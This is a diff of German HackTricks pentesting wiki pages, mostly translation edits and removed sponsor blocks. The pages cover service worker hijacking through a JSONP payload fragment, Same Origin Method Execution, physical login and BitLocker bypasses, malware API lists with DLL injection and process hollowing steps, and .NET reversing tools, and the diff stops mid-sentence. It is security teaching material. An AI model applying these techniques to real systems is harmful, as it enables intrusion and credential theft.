|
||||
* Eine **verwundbare JSONP-Anfrage**, bei der Sie **die Ausgabe (mit willkürlichem JS-Code)** **manipulieren** können, und ein **XSS**, um die **JSONP mit einem Payload** zu **laden**, der einen **bösartigen Service Worker** **lädt**.
|
||||
|
||||
Im folgenden Beispiel werde ich einen Code präsentieren, um einen **neuen Service Worker** zu **registrieren**, der das `fetch`-Ereignis abhört und **jede abgerufene URL an den Server des Angreifers sendet** (dies ist der Code, den Sie **hochladen** müssten, um ihn auf den **Server** zu **laden** oder über eine **verwundbare JSONP**-Antwort zu laden):
|
||||
```javascript
|
||||
|
@ -73,7 +65,7 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
|
|||
```
|
||||
Es gibt ein **C2**, das der **Ausnutzung von Service Workern** gewidmet ist, namens [**Shadow Workers**](https://shadow-workers.github.io), das sehr nützlich sein wird, um diese Schwachstellen auszunutzen.
|
||||
|
||||
Die **24-Stunden-Cache-Direktive** begrenzt die Lebensdauer eines bösartigen oder kompromittierten **Service Workers (SW)** auf maximal 24 Stunden nach einer XSS-Schwachstellenbehebung, vorausgesetzt, der Online-Client-Status. Um die Verwundbarkeit zu minimieren, können die Betreiber der Website die Time-To-Live (TTL) des SW-Skripts senken. Entwicklern wird auch geraten, einen [**Service Worker Kill-Switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) für eine schnelle Deaktivierung zu erstellen.
|
||||
Die **24-Stunden-Cache-Direktive** begrenzt die Lebensdauer eines bösartigen oder kompromittierten **Service Workers (SW)** auf maximal 24 Stunden nach einer XSS-Schwachstellenbehebung, vorausgesetzt, der Client ist online. Um die Verwundbarkeit zu minimieren, können die Betreiber der Website die Time-To-Live (TTL) des SW-Skripts verringern. Entwicklern wird außerdem geraten, einen [**Service Worker Kill-Switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) für eine schnelle Deaktivierung zu erstellen.
|
||||
|
||||
## Ausnutzung von `importScripts` in einem SW über DOM Clobbering
|
||||
|
||||
|
@ -113,23 +105,17 @@ Für ein Beispiel dazu siehe den Referenzlink.
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,44 +15,30 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Same Origin Method Execution
|
||||
|
||||
Es wird Gelegenheiten geben, bei denen du einige eingeschränkte JavaScript auf einer Seite ausführen kannst. Zum Beispiel in dem Fall, dass du[ **einen Callback-Wert kontrollieren kannst, der ausgeführt wird**](./#javascript-function).
|
||||
Es wird Gelegenheiten geben, bei denen du einige eingeschränkte JavaScript in einer Seite ausführen kannst. Zum Beispiel im Fall, dass du [**einen Callback-Wert kontrollieren kannst, der ausgeführt wird**](./#javascript-function).
|
||||
|
||||
In diesen Fällen ist eine der besten Dinge, die du tun kannst, **auf das DOM zuzugreifen, um jede** sensible Aktion aufzurufen, die du dort finden kannst (wie das Klicken auf einen Button). In der Regel wirst du diese Schwachstelle jedoch in **kleinen Endpunkten ohne interessante Dinge im DOM** finden.
|
||||
In diesen Fällen ist eine der besten Dinge, die du tun kannst, **auf das DOM zuzugreifen, um jede** sensible Aktion aufzurufen, die du dort finden kannst (wie das Klicken auf einen Button). Allerdings wirst du diese Schwachstelle normalerweise in **kleinen Endpunkten ohne interessante Dinge im DOM** finden.
|
||||
|
||||
In diesen Szenarien wird dieser Angriff sehr nützlich sein, da sein Ziel darin besteht, **die eingeschränkte JS-Ausführung innerhalb eines DOM von einer anderen Seite derselben Domain** mit viel interessanteren Aktionen zu **missbrauchen**.
|
||||
In diesen Szenarien wird dieser Angriff sehr nützlich sein, da sein Ziel darin besteht, **die eingeschränkte JS-Ausführung innerhalb eines DOM von einer anderen Seite derselben Domain** mit viel interessanteren Aktionen auszunutzen.
|
||||
|
||||
Grundsätzlich ist der Angriffsfluss wie folgt:
|
||||
|
||||
* Finde einen **Callback, den du missbrauchen kannst** (potenziell beschränkt auf \[\w\\.\_]).
|
||||
* Wenn es nicht beschränkt ist und du beliebiges JS ausführen kannst, könntest du dies einfach als reguläres XSS missbrauchen.
|
||||
* Finde einen **Callback, den du ausnutzen kannst** (potenziell beschränkt auf \[\w\\.\_]).
|
||||
* Wenn es nicht beschränkt ist und du beliebiges JS ausführen kannst, könntest du dies einfach als reguläres XSS ausnutzen.
|
||||
* Lass die **Opfer eine Seite** öffnen, die vom **Angreifer** kontrolliert wird.
|
||||
* Die **Seite wird sich selbst** in einem **neuen Fenster** öffnen (das neue Fenster hat das Objekt **`opener`**, das auf das ursprüngliche verweist).
|
||||
* Die **ursprüngliche Seite** wird die **Seite** laden, auf der sich das **interessante DOM** befindet.
|
||||
* Die **zweite Seite** wird die **anfällige Seite laden, die den Callback missbraucht** und das **`opener`**-Objekt verwenden, um **auf die ursprüngliche Seite zuzugreifen und eine Aktion auszuführen** (die jetzt das interessante DOM enthält).
|
||||
* Die **zweite Seite** wird die **anfällige Seite laden, indem sie den Callback ausnutzt** und das **`opener`**-Objekt verwendet, um **auf die ursprüngliche Seite zuzugreifen und eine Aktion auszuführen** (die jetzt das interessante DOM enthält).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Beachte, dass selbst wenn die ursprüngliche Seite nach dem Erstellen der zweiten Seite auf eine neue URL zugreift, das **`opener`-Objekt der zweiten Seite immer noch eine gültige Referenz auf die erste Seite im neuen DOM** ist.
|
||||
Beachte, dass selbst wenn die ursprüngliche Seite nach dem Erstellen der zweiten Seite auf eine neue URL zugreift, das **`opener`-Objekt der zweiten Seite immer noch eine gültige Referenz auf die erste Seite im neuen DOM ist**.
|
||||
|
||||
Darüber hinaus müssen beide Seiten, damit die zweite Seite das Opener-Objekt verwenden kann, **im selben Ursprung sein**. Das ist der Grund, warum du, um diese Schwachstelle auszunutzen, eine Art von **XSS im selben Ursprung** finden musst.
|
||||
{% endhint %}
|
||||
|
||||
### Ausnutzung
|
||||
### Exploitation
|
||||
|
||||
* Du kannst dieses Formular verwenden, um **eine PoC zu generieren**, um diese Art von Schwachstelle auszunutzen: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Um einen DOM-Pfad zu einem HTML-Element mit einem Klick zu finden, kannst du diese Browsererweiterung verwenden: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
|
@ -61,9 +47,9 @@ Darüber hinaus müssen beide Seiten, damit die zweite Seite das Opener-Objekt v
|
|||
|
||||
* Du kannst ein anfälliges Beispiel unter [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/) finden.
|
||||
* Beachte, dass der Server in diesem Beispiel **JavaScript-Code generiert** und **hinzufügt**, basierend auf dem **Inhalt des Callback-Parameters:** `<script>opener.{callbacl_content}</script>`. Deshalb musst du in diesem Beispiel die Verwendung von `opener` nicht explizit angeben.
|
||||
* Überprüfe auch diesen CTF-Bericht: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
* Überprüfe auch diesen CTF-Writeup: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
* [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/)
|
||||
|
||||
|
|
|
@ -1,37 +1,23 @@
|
|||
# Physische Angriffe
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## BIOS-Passwort-Wiederherstellung und Systemsicherheit
|
||||
|
||||
**Das Zurücksetzen des BIOS** kann auf verschiedene Weise erreicht werden. Die meisten Motherboards enthalten eine **Batterie**, die, wenn sie etwa **30 Minuten** entfernt wird, die BIOS-Einstellungen, einschließlich des Passworts, zurücksetzt. Alternativ kann ein **Jumper auf dem Motherboard** angepasst werden, um diese Einstellungen zurückzusetzen, indem bestimmte Pins verbunden werden.
|
||||
**Zurücksetzen des BIOS** kann auf verschiedene Weise erreicht werden. Die meisten Motherboards enthalten eine **Batterie**, die, wenn sie etwa **30 Minuten** entfernt wird, die BIOS-Einstellungen, einschließlich des Passworts, zurücksetzt. Alternativ kann ein **Jumper auf dem Motherboard** angepasst werden, um diese Einstellungen zurückzusetzen, indem bestimmte Pins verbunden werden.
|
||||
|
||||
Für Situationen, in denen Hardwareanpassungen nicht möglich oder praktisch sind, bieten **Software-Tools** eine Lösung. Das Ausführen eines Systems von einer **Live-CD/USB** mit Distributionen wie **Kali Linux** ermöglicht den Zugriff auf Tools wie **_killCmos_** und **_CmosPWD_**, die bei der Wiederherstellung des BIOS-Passworts helfen können.
|
||||
|
||||
|
@ -49,21 +35,21 @@ RAM speichert Daten kurzzeitig nach einem Stromausfall, normalerweise für **1 b
|
|||
|
||||
### Direct Memory Access (DMA) Angriffe
|
||||
|
||||
**INCEPTION** ist ein Tool, das für die **physische Speicherbearbeitung** über DMA entwickelt wurde und mit Schnittstellen wie **FireWire** und **Thunderbolt** kompatibel ist. Es ermöglicht das Umgehen von Anmeldeverfahren, indem der Speicher so gepatcht wird, dass jedes Passwort akzeptiert wird. Es ist jedoch gegen **Windows 10**-Systeme ineffektiv.
|
||||
**INCEPTION** ist ein Tool, das für die **physische Speicherbearbeitung** über DMA entwickelt wurde und mit Schnittstellen wie **FireWire** und **Thunderbolt** kompatibel ist. Es ermöglicht das Umgehen von Anmeldeverfahren, indem der Speicher so patcht wird, dass jedes Passwort akzeptiert wird. Es ist jedoch gegen **Windows 10**-Systeme unwirksam.
|
||||
|
||||
### Live-CD/USB für Systemzugriff
|
||||
|
||||
Das Ändern von System-Binärdateien wie **_sethc.exe_** oder **_Utilman.exe_** mit einer Kopie von **_cmd.exe_** kann eine Eingabeaufforderung mit Systemprivilegien bereitstellen. Tools wie **chntpw** können verwendet werden, um die **SAM**-Datei einer Windows-Installation zu bearbeiten, was Passwortänderungen ermöglicht.
|
||||
Das Ändern von System-Binärdateien wie **_sethc.exe_** oder **_Utilman.exe_** mit einer Kopie von **_cmd.exe_** kann eine Eingabeaufforderung mit Systemberechtigungen bereitstellen. Tools wie **chntpw** können verwendet werden, um die **SAM**-Datei einer Windows-Installation zu bearbeiten, was Passwortänderungen ermöglicht.
|
||||
|
||||
**Kon-Boot** ist ein Tool, das das Anmelden bei Windows-Systemen ohne Kenntnis des Passworts erleichtert, indem es den Windows-Kernel oder UEFI vorübergehend modifiziert. Weitere Informationen sind unter [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) zu finden.
|
||||
**Kon-Boot** ist ein Tool, das das Anmelden bei Windows-Systemen ohne Kenntnis des Passworts erleichtert, indem es den Windows-Kernel oder UEFI vorübergehend ändert. Weitere Informationen finden Sie unter [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Umgang mit Windows-Sicherheitsfunktionen
|
||||
|
||||
#### Boot- und Wiederherstellungstastenkombinationen
|
||||
|
||||
- **Supr**: Zugriff auf BIOS-Einstellungen.
|
||||
- **F8**: Eingabe in den Wiederherstellungsmodus.
|
||||
- Das Drücken von **Shift** nach dem Windows-Banner kann die automatische Anmeldung umgehen.
|
||||
- **F8**: Eingabe des Wiederherstellungsmodus.
|
||||
- Drücken von **Shift** nach dem Windows-Banner kann die automatische Anmeldung umgehen.
|
||||
|
||||
#### BAD USB-Geräte
|
||||
|
||||
|
@ -73,37 +59,25 @@ Geräte wie **Rubber Ducky** und **Teensyduino** dienen als Plattformen zur Erst
|
|||
|
||||
Administratorrechte ermöglichen die Erstellung von Kopien sensibler Dateien, einschließlich der **SAM**-Datei, über PowerShell.
|
||||
|
||||
### Umgehen der BitLocker-Verschlüsselung
|
||||
### Umgehung der BitLocker-Verschlüsselung
|
||||
|
||||
Die BitLocker-Verschlüsselung kann möglicherweise umgangen werden, wenn das **Wiederherstellungspasswort** in einer Speicherabbilddatei (**MEMORY.DMP**) gefunden wird. Tools wie **Elcomsoft Forensic Disk Decryptor** oder **Passware Kit Forensic** können dafür verwendet werden.
|
||||
Die BitLocker-Verschlüsselung kann möglicherweise umgangen werden, wenn das **Wiederherstellungspasswort** in einer Speicherabbilddatei (**MEMORY.DMP**) gefunden wird. Tools wie **Elcomsoft Forensic Disk Decryptor** oder **Passware Kit Forensic** können hierfür verwendet werden.
|
||||
|
||||
### Social Engineering zur Hinzufügung eines Wiederherstellungsschlüssels
|
||||
### Social Engineering zur Hinzufügung des Wiederherstellungsschlüssels
|
||||
|
||||
Ein neuer BitLocker-Wiederherstellungsschlüssel kann durch Social-Engineering-Taktiken hinzugefügt werden, indem ein Benutzer überzeugt wird, einen Befehl auszuführen, der einen neuen Wiederherstellungsschlüssel aus Nullen hinzufügt, wodurch der Entschlüsselungsprozess vereinfacht wird.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Generic
|
||||
|
||||
### Networking
|
||||
|
@ -67,8 +59,8 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[Check if a process is running] | |
|
||||
| CreateFileW/A \[Check if a file exist] | |
|
||||
| CreateToolhelp32Snapshot \[Überprüfen, ob ein Prozess läuft] | |
|
||||
| CreateFileW/A \[Überprüfen, ob eine Datei existiert] | |
|
||||
|
||||
### Stealth
|
||||
|
||||
|
@ -96,8 +88,8 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
### Miscellaneous
|
||||
|
||||
* GetAsyncKeyState() -- Tastenerfassung
|
||||
* SetWindowsHookEx -- Tastenerfassung
|
||||
* GetAsyncKeyState() -- Tastaturprotokollierung
|
||||
* SetWindowsHookEx -- Tastaturprotokollierung
|
||||
* GetForeGroundWindow -- Den Namen des aktiven Fensters abrufen (oder die Website aus einem Browser)
|
||||
* LoadLibrary() -- Bibliothek importieren
|
||||
* GetProcAddress() -- Bibliothek importieren
|
||||
|
@ -113,7 +105,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
Führen Sie eine beliebige DLL in einem anderen Prozess aus
|
||||
|
||||
1. Lokalisieren Sie den Prozess, um die bösartige DLL zu injizieren: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
1. Finden Sie den Prozess, in den die bösartige DLL injiziert werden soll: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
2. Öffnen Sie den Prozess: GetModuleHandle, GetProcAddress, OpenProcess
|
||||
3. Schreiben Sie den Pfad zur DLL in den Prozess: VirtualAllocEx, WriteProcessMemory
|
||||
4. Erstellen Sie einen Thread im Prozess, der die bösartige DLL lädt: CreateRemoteThread, LoadLibrary
|
||||
|
@ -146,7 +138,7 @@ Die Malware wird den legitimen Code aus dem Speicher des Prozesses entfernen und
|
|||
1. Erstellen Sie einen neuen Prozess: CreateProcess
|
||||
2. Entfernen Sie die Abbildung des Speichers: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
3. Schreiben Sie die bösartige Binärdatei in den Prozessspeicher: VirtualAllocEc, WriteProcessMemory
|
||||
4. Setzen Sie den Einstiegspunkt und führen Sie aus: SetThreadContext, ResumeThread
|
||||
4. Setzen Sie den Einstiegspunkt und führen Sie ihn aus: SetThreadContext, ResumeThread
|
||||
|
||||
## Hooking
|
||||
|
||||
|
@ -157,12 +149,6 @@ Die Malware wird den legitimen Code aus dem Speicher des Prozesses entfernen und
|
|||
* **EAT** (**Export Address Table**) Hooks. Diese Hooks können aus **userland** durchgeführt werden. Das Ziel ist es, exportierte Funktionen von DLLs zu hooken.
|
||||
* **Inline Hooks**: Diese Art ist schwierig zu erreichen. Dies beinhaltet die Modifikation des Codes der Funktionen selbst. Vielleicht durch das Setzen eines Sprungs am Anfang davon.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,14 +15,6 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## ImGui Basierte Reversing-Tools
|
||||
|
||||
Software:
|
||||
|
@ -33,7 +25,7 @@ Software:
|
|||
|
||||
Online:
|
||||
|
||||
* Verwende [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html), um von wasm (binär) nach wat (Klartext) zu **dekompilieren**
|
||||
* Verwende [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html), um von wasm (binär) nach wat (klarer Text) zu **dekompilieren**
|
||||
* Verwende [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/), um von wat nach wasm zu **kompilieren**
|
||||
* Du kannst auch versuchen, [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) zu verwenden, um zu dekompilieren
|
||||
|
||||
|
@ -56,19 +48,19 @@ Mit einem umfassenden Add-In-Modell und einer API, die das Tool an deine genauen
|
|||
|
||||
* Bietet Einblicke, wie die Daten durch eine Bibliothek oder Komponente fließen
|
||||
* Bietet Einblicke in die Implementierung und Nutzung von .NET-Sprachen und -Frameworks
|
||||
* Findet nicht dokumentierte und nicht exponierte Funktionalitäten, um mehr aus den verwendeten APIs und Technologien herauszuholen.
|
||||
* Findet undocumented und unexposed Funktionalitäten, um mehr aus den verwendeten APIs und Technologien herauszuholen.
|
||||
* Findet Abhängigkeiten und verschiedene Assemblies
|
||||
* Verfolgt den genauen Standort von Fehlern in deinem Code, Drittanbieterkomponenten und Bibliotheken.
|
||||
* Debuggt in die Quelle allen .NET-Codes, mit dem du arbeitest.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[ILSpy-Plugin für Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Du kannst es auf jedem Betriebssystem haben (du kannst es direkt aus VSCode installieren, es ist nicht nötig, das Git herunterzuladen. Klicke auf **Erweiterungen** und **suche nach ILSpy**).\
|
||||
[ILSpy-Plugin für Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Du kannst es auf jedem Betriebssystem haben (du kannst es direkt von VSCode installieren, es ist nicht nötig, das Git herunterzuladen. Klicke auf **Erweiterungen** und **suche nach ILSpy**).\
|
||||
Wenn du **dekompilieren**, **modifizieren** und **wieder kompilieren** musst, kannst du [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) oder einen aktiv gepflegten Fork davon, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases), verwenden. (**Rechtsklick -> Methode ändern**, um etwas innerhalb einer Funktion zu ändern).
|
||||
|
||||
### DNSpy Logging
|
||||
|
||||
Um **DNSpy einige Informationen in einer Datei zu protokollieren**, könntest du diesen Snippet verwenden:
|
||||
